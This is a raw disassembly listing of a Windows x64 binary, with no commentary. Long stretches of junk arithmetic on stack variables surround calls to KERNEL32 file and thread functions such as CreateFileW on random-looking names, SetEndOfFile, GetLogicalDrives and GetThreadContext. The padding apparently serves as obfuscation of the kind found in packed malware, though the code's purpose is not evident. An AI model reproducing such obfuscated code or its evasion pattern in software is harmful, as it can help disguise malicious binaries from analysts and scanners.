mov rax, qword [rsp + 0x19a30]
mov ecx, dword [0x1402ad78c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1402bf628]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.0VMGBjNT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a418], rax
movzx eax, word [rsp + 0x3650]
mov word [rsp + 0x3914], ax
mov rcx, qword [rsp + 0x1a278]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x7f4]
movzx ecx, byte [rsp + 0x61]
add eax, ecx
mov byte [rsp + 0x80d], al
mov rax, qword [rsp + 0x19800]
movzx eax, word [rax]
mov word [rsp + 0x3918], ax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x502]
add eax, ecx
mov byte [rsp + 0x684], al
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19b40]
mov ecx, dword [rsp + 0xd048]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbf30], eax
lea rdx, [rsp + 0x2c190]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd06c], eax
mov rax, qword [rsp + 0x1a350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3734]
add eax, ecx
mov word [rsp + 0x35f8], ax
movzx eax, byte [rsp + 0x823]
mov byte [rsp + 0x832], al
mov eax, dword [rsp + 0xd1d0]
mov ecx, dword [0x1402bf654]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad7d0], eax
mov rax, qword [rsp + 0x19e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9498], eax
mov rax, qword [rsp + 0x1a260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd628]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcde4], eax
lea rax, [rsp + 0xc1a4]
mov qword [rsp + 0x1a420], rax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d3]
or eax, ecx
mov rcx, qword [rsp + 0x19c28]
mov byte [rcx], al
movzx eax, word [rsp + 0x1874]
mov word [rsp + 0x391c], ax
mov rax, qword [rsp + 0x19e98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xc658]
shl eax, cl
mov rcx, qword [rsp + 0x198b8]
mov dword [rcx], eax
lea rax, [rsp + 0xa368]
mov qword [rsp + 0x1a428], rax
mov eax, dword [rsp + 0xa830]
mov rcx, qword [rsp + 0x1a3b0]
mov qword [rsp + 0x1a430], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a430]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd074], eax
mov rax, qword [rsp + 0x1a428]
mov rcx, qword [rsp + 0x1a080]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad6b0], eax
mov eax, dword [rsp + 0xcf0c]
mov ecx, dword [rsp + 0xd5c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd340], eax
movsx eax, word [0x1402bf61c]
movsx ecx, word [rsp + 0x1de8]
and eax, ecx
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0x1a088]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7ba]
sub eax, ecx
mov byte [rsp + 0x807], al
movzx eax, word [rsp + 0x2d84]
mov word [rsp + 0x3920], ax
movzx eax, byte [rsp + 0x7bd]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1a0a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a0d0]
mov ecx, dword [rsp + 0xd558]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc264], eax
mov eax, dword [rsp + 0xd6bc]
mov dword [rsp + 0xd6f4], eax
movzx eax, byte [0x1402bf640]
movzx ecx, byte [rsp + 0x815]
add eax, ecx
mov byte [rsp + 0x632], al
movzx eax, word [rsp + 0x35f8]
mov rcx, qword [rsp + 0x1a0d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402ad6c4], ax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov ecx, dword [0x1402ad780]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb798], eax
mov rax, qword [rsp + 0x19d10]
mov ecx, dword [rsp + 0xd068]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab2c], eax
mov eax, dword [0x1402ad768]
mov ecx, dword [rsp + 0xcf50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x95c8], eax
mov eax, dword [rsp + 0xcff4]
mov dword [rsp + 0xd6f8], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x344c]
shl eax, cl
mov word [rsp + 0x3644], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.DQrU0g3bGxNCR8qWcnnHwbjvppP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a438], rax
movzx eax, byte [rsp + 0x7a3]
mov byte [rsp + 0x833], al
mov eax, dword [rsp + 0xd190]
movzx ecx, al
mov eax, dword [0x1402ad6c8]
sar eax, cl
mov dword [rsp + 0x8128], eax
mov rax, qword [rsp + 0x1a070]
mov ecx, dword [rsp + 0xd608]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd3d8], eax
movzx eax, byte [rsp + 0x7df]
mov byte [0x1402bf544], al
movzx eax, word [0x1402ad678]
mov word [rsp + 0x3924], ax
movzx eax, byte [rsp + 0x7f7]
movzx ecx, byte [rsp + 0x7bb]
xor eax, ecx
mov byte [rsp + 0x80e], al
movzx eax, word [rsp + 0x3744]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x24e8], ax
mov rax, qword [0x1402bf670]
mov ecx, dword [rsp + 0x8100]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd2a8], eax
lea rax, [rsp + 0xd1f8]
mov qword [rsp + 0x1a440], rax
mov eax, dword [0x1402ad7b0]
mov ecx, dword [rsp + 0xd4b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd614], eax
mov rax, qword [rsp + 0x1a200]
mov ecx, dword [rsp + 0xd134]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd124], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xce50], eax
mov rax, qword [rsp + 0x19c78]
mov eax, dword [rax]
mov dword [rsp + 0xd6fc], eax
mov rax, qword [rsp + 0x1a2b8]
movzx eax, word [rax]
mov rcx, qword [0x1402bf6d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35cc], ax
movzx eax, byte [rsp + 0xcc]
movzx ecx, byte [rsp + 0x78e]
add eax, ecx
mov rcx, qword [0x1402bf6e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x19e50]
mov eax, dword [rax]
mov dword [rsp + 0xd700], eax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xad98], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbc10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a000]
mov dword [rcx], eax
lea rax, [rsp + 0xce98]
mov qword [rsp + 0x1a448], rax
mov rax, qword [rsp + 0x19e38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7a4], al
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37b4]
sar eax, cl
mov word [rsp + 0x18e8], ax
movsx eax, word [rsp + 0x3778]
movsx ecx, word [0x1402bf784]
or eax, ecx
mov word [rsp + 0x35ac], ax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x786]
xor eax, ecx
mov byte [rsp + 0x7eb], al
mov eax, dword [rsp + 0xa224]
movzx ecx, al
mov eax, dword [rsp + 0xd34c]
shl eax, cl
mov dword [0x1402ad7d4], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov dword [rsp + 0xd704], eax
movzx eax, word [rsp + 0x3600]
mov rcx, qword [rsp + 0x1a030]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3264], ax
movzx eax, byte [rsp + 0x7e2]
mov byte [rsp + 0x834], al
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc9c0], eax
mov rax, qword [rsp + 0x1a3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcff4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd28c], eax
mov rax, qword [rsp + 0x198b8]
mov rcx, qword [rsp + 0x19ca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb208], eax
mov rax, qword [rsp + 0x1a3e0]
mov rcx, qword [rsp + 0x19850]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd1e0], eax
movzx eax, word [rsp + 0x36dc]
mov word [rsp + 0x3928], ax
movzx eax, byte [rsp + 0x7f4]
movzx ecx, byte [rsp + 0x2b4]
and eax, ecx
mov byte [0x1402acc07], al
mov rax, qword [rsp + 0x1a3b0]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2a0], eax
mov rax, qword [rsp + 0x19c78]
mov eax, dword [rax]
mov dword [rsp + 0xd708], eax
mov rax, qword [rsp + 0x19d38]
mov ecx, dword [rsp + 0xd69c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce9c], eax
mov rax, qword [rsp + 0x19a68]
mov rcx, qword [rsp + 0x1a008]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x99ac], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea rcx, [rsp + 0x2d410]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd29c], eax
mov eax, dword [rsp + 0xd178]
mov ecx, dword [rsp + 0xce10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x929c], eax
movsx eax, word [0x1402bf784]
mov rcx, qword [rsp + 0x19dd0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3844], ax
movzx eax, byte [rsp + 0x7cc]
mov byte [rsp + 0x835], al
movzx eax, byte [rsp + 0x80d]
movzx ecx, byte [rsp + 0x80e]
shl eax, cl
mov byte [rsp + 0x7a9], al
movzx eax, word [0x1402ad6d8]
movzx ecx, word [rsp + 0x387c]
or eax, ecx
mov rcx, qword [0x1402bf668]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a250]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcea0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xceb8], eax
mov eax, dword [rsp + 0x9960]
mov dword [rsp + 0xd70c], eax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b5]
imul eax, ecx
mov byte [rsp + 0x80d], al
movzx eax, word [rsp + 0x2d64]
mov word [rsp + 0x392c], ax
mov rax, qword [rsp + 0x1a428]
mov ecx, dword [rsp + 0xcf74]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcf98], eax
mov rax, qword [rsp + 0x19eb0]
mov ecx, dword [rsp + 0xcdd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xceb8], eax
lea rax, [rsp + 0xd3c8]
mov qword [rsp + 0x1a450], rax
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8908], eax
movzx eax, byte [rsp + 0x811]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402bf579], al
movzx eax, word [rsp + 0x284c]
movzx ecx, word [rsp + 0x384c]
add eax, ecx
mov word [rsp + 0x2c18], ax
mov rax, qword [rsp + 0x1a250]
mov ecx, dword [rsp + 0xd330]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0bc], eax
mov eax, dword [rsp + 0xce60]
mov dword [rsp + 0xd710], eax
lea rcx, str.kifyj9W_ExNM4_PKrTNo
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3930], ax
movsx eax, byte [rsp + 0x102]
mov rcx, qword [rsp + 0x1a088]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3e7], al
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a190]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov word [rsp + 0x3934], ax
movzx eax, byte [rsp + 0x65e]
mov rcx, qword [rsp + 0x1a398]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3be], al
lea rax, [rsp + 0x80b4]
mov qword [rsp + 0x1a458], rax
mov rax, qword [rsp + 0x19c10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfb0]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad7d8], eax
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xca38]
shl eax, cl
mov dword [rsp + 0xce48], eax
mov eax, dword [rsp + 0xa2e8]
movzx ecx, al
mov eax, dword [rsp + 0xd5d0]
shr eax, cl
mov dword [rsp + 0xcf78], eax
mov rcx, qword [rsp + 0x199b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x19ca0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd32c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2a4], eax
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35bc]
xor eax, ecx
mov word [rsp + 0x37fc], ax
movzx eax, byte [rsp + 0x1e7]
mov byte [rsp + 0x836], al
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc4b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5f8], eax
mov eax, dword [rsp + 0xd590]
mov ecx, dword [0x1402ad638]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cd4], eax
mov rax, qword [rsp + 0x19f60]
mov eax, dword [rax]
mov dword [rsp + 0xd714], eax
mov rax, qword [rsp + 0x19e90]
mov ecx, dword [rsp + 0xa6a4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad6dc], eax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x63d], al
movzx eax, word [rsp + 0x18e8]
movzx ecx, word [rsp + 0x1ea4]
sub eax, ecx
mov word [rsp + 0x22d0], ax
mov rax, qword [0x1402bf5e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19ee0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1a280]
mov byte [rcx], al
movsx eax, word [rsp + 0x38d8]
mov rcx, qword [rsp + 0x1a118]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3778], ax
mov rax, qword [rsp + 0x1a3b0]
mov eax, dword [rax]
mov dword [rsp + 0xd718], eax
mov rax, qword [rsp + 0x19cc8]
mov rcx, qword [rsp + 0x19ef8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd6d0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
mov byte [rsp + 0x837], al
mov rax, qword [rsp + 0x1a010]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cf0]
add eax, ecx
mov rcx, qword [rsp + 0x19d68]
mov word [rcx], ax
mov eax, dword [rsp + 0xd15c]
mov dword [0x1402bf540], eax
mov eax, dword [rsp + 0xcdfc]
mov rcx, qword [rsp + 0x19888]
mov qword [rsp + 0x1a460], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a460]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xc278], eax
mov eax, dword [rsp + 0xd340]
mov ecx, dword [rsp + 0xd61c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd01c], eax
mov r9d, 2
lea r8, [rsp + 0x19ed8]
mov rdx, qword [rsp + 0x1a468]
mov rcx, qword [rsp + 0x19f80]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd1cc], eax
mov eax, dword [rsp + 0xd6a8]
movzx ecx, al
mov eax, dword [rsp + 0xcf80]
shl eax, cl
mov dword [rsp + 0x83ec], eax
mov edx, 0x2070
mov rcx, qword [rsp + 0x19be0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd040], eax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
mov byte [rsp + 0x838], al
movzx eax, word [rsp + 0x3928]
mov rcx, qword [rsp + 0x1a350]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2ad4], ax
movzx ecx, word [rsp + 0x37b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3938], ax
mov eax, dword [rsp + 0xd00c]
mov dword [rsp + 0xd71c], eax
mov rax, qword [rsp + 0x19e80]
mov rcx, qword [rsp + 0x19df8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19b40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcff0]
mov ecx, dword [rsp + 0xd22c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcffc], eax
mov rax, qword [rsp + 0x19a48]
mov ecx, dword [rsp + 0xb3c4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad7dc], eax
mov eax, dword [rsp + 0xc94c]
mov ecx, dword [rsp + 0xcde4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbcc4], eax
mov rax, qword [rsp + 0x19ee0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19d50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x825], al
lea rax, [rsp + 0x36c0]
mov qword [rsp + 0x1a470], rax
mov rax, qword [rsp + 0x1a120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45b]
sub eax, ecx
mov byte [rsp + 0x306], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1a318]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xce84], eax
lea rax, [rsp + 0xa668]
mov qword [rsp + 0x1a478], rax
mov rax, qword [rsp + 0x19fb8]
mov rcx, qword [0x1402bf638]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9664], eax
movzx eax, byte [rsp + 0x819]
mov byte [rsp + 0x839], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x196d0], rax
movzx eax, word [rsp + 0x37ac]
mov rcx, qword [rsp + 0x1a318]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad724], ax
mov rcx, qword [rsp + 0x19d60]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcdb8], eax
mov rax, qword [rsp + 0x19db8]
mov rcx, qword [0x1402bf6c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd28c], eax
mov eax, dword [rsp + 0x7f04]
mov dword [rsp + 0xd720], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcfec]
sar eax, cl
mov dword [rsp + 0xd5f4], eax
mov eax, dword [0x1402bf6d8]
mov ecx, dword [rsp + 0xce7c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd22c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.Q03bu8HsppBGfijI5oQDm8P
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a480], rax
mov rax, qword [rsp + 0x19d68]
movzx eax, word [rax]
mov word [rsp + 0x393c], ax
mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x7ef], al
mov rax, qword [rsp + 0x19cc8]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x81f0], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19750]
mov qword [rsp + 0x1a488], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a488]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x838c], eax
movsx eax, word [rsp + 0x371c]
movsx ecx, word [rsp + 0x373c]
sub eax, ecx
mov word [0x1402ad7e0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd248], eax
mov rax, qword [rsp + 0x1a078]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x82f], al
mov rcx, qword [rsp + 0x19ad8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1a398]
movzx eax, byte [rax]
mov byte [rsp + 0x83a], al
movzx eax, word [rsp + 0x2424]
movzx ecx, word [rsp + 0x3860]
and eax, ecx
mov word [rsp + 0x35e4], ax
mov eax, dword [rsp + 0xd500]
mov dword [rsp + 0xd724], eax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd700]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6e4], eax
mov rax, qword [rsp + 0x1a1e8]
mov rcx, qword [rsp + 0x19988]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9204], eax
mov eax, dword [rsp + 0xa304]
mov ecx, dword [rsp + 0xce88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaee8], eax
mov rax, qword [rsp + 0x19f50]
mov ecx, dword [0x1402ad6c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcc80], eax
movzx eax, word [rsp + 0x36ac]
mov word [rsp + 0x3940], ax
xor r9d, r9d
lea r8, [rsp + 0x198d0]
mov rdx, qword [rsp + 0x1a490]
mov rcx, qword [rsp + 0x1a3b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd3b4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acb62], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0x19e68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb6d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8100], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3995
mov rcx, qword [rsp + 0x19e20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcf24], eax
mov rax, qword [rsp + 0x1a268]
mov rcx, qword [rsp + 0x19c10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd5ec], eax
lea rax, [rsp + 0xd5b8]
mov qword [rsp + 0x1a498], rax
mov eax, dword [0x1402bf780]
mov ecx, dword [rsp + 0xd4f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfdc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd728], eax
movzx eax, word [rsp + 0x1f7c]
mov word [rsp + 0x3944], ax
mov rcx, qword [rsp + 0x1a348]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d6]
cdq
idiv ecx
mov rcx, qword [rsp + 0x1a310]
mov byte [rcx], al
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
movsx ecx, word [0x1402bf61c]
sar eax, cl
mov word [rsp + 0x30f4], ax
movsx eax, byte [rsp + 0x7b6]
mov rcx, qword [rsp + 0x19d50]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1a270]
mov byte [rcx], al
mov rcx, qword [rsp + 0x19e20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd540], eax
mov rax, qword [rsp + 0x19eb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd220]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad6b8], eax
mov rax, qword [rsp + 0x19df8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19938]
mov qword [rsp + 0x1a4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a4a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x1a000]
mov dword [rcx], eax
lea rax, [rsp + 0x24e8]
mov qword [rsp + 0x1a4a8], rax
movzx eax, byte [rsp + 0x7e3]
mov rcx, qword [rsp + 0x19fb0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7bf], al
mov eax, dword [rsp + 0xd320]
mov dword [rsp + 0xd72c], eax
mov eax, dword [rsp + 0xcec8]
mov ecx, dword [rsp + 0xce90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3e8], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd730], eax
mov rax, qword [rsp + 0x1a2c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd048]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19ef8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xbfa4]
mov dword [rsp + 0xd734], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a310]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x199e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a350]
movzx eax, word [rax]
mov word [0x1402bf53c], ax
mov rax, qword [rsp + 0x19dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa404], eax
lea rdx, [rsp + 0x19ed8]
mov rcx, qword [rsp + 0x19db0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd458], eax
mov rcx, qword [rsp + 0x19a80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb664], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd738], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc2e4], eax
mov eax, dword [rsp + 0x9c8c]
mov dword [rsp + 0xd73c], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd14c], eax
mov rax, qword [0x1402bf5e0]
movzx eax, byte [rax]
mov byte [rsp + 0x83b], al
mov rax, qword [rsp + 0x19f90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2678], ax
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x198e8]
mov word [rcx], ax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7ed]
shl eax, cl
mov byte [0x1402acbce], al
mov eax, dword [rsp + 0xcf80]
mov dword [rsp + 0xd740], eax
